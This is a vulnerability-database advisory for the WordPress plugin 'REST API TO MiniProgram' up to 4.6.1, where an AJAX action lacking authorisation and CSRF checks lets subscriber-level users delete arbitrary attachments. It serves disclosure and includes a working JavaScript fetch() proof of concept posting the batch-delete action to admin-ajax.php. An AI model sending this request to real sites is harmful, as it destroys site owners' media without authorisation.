Lucene search

K
wpvulndbLana CodesWPVDB-ID:DE162A46-1FDB-47B9-9A61-F12A2C655A7D
HistoryApr 25, 2023 - 12:00 a.m.

REST API TO MiniProgram <= 4.6.1 - Subscriber+ Attachment Deletion

2023-04-2500:00:00
Lana Codes
wpscan.com
6
rest api
miniprogram
security vulnerability
ajax action
csrf
attachment deletion

0.0004 Low

EPSS

Percentile

13.4%

The plugin does not have authorisation and CSRF checks in an AJAX action, allowing ay authenticated users, such as subscriber to call and delete arbitrary attachments

PoC

fetch(‘https://example.com/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=exopite-sof-file-batch-delete&media-ids;%5B%5D=1&media-ids;%5B%5D=1’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
rest-api-to-miniprogrameq*

0.0004 Low

EPSS

Percentile

13.4%

Related for WPVDB-ID:DE162A46-1FDB-47B9-9A61-F12A2C655A7D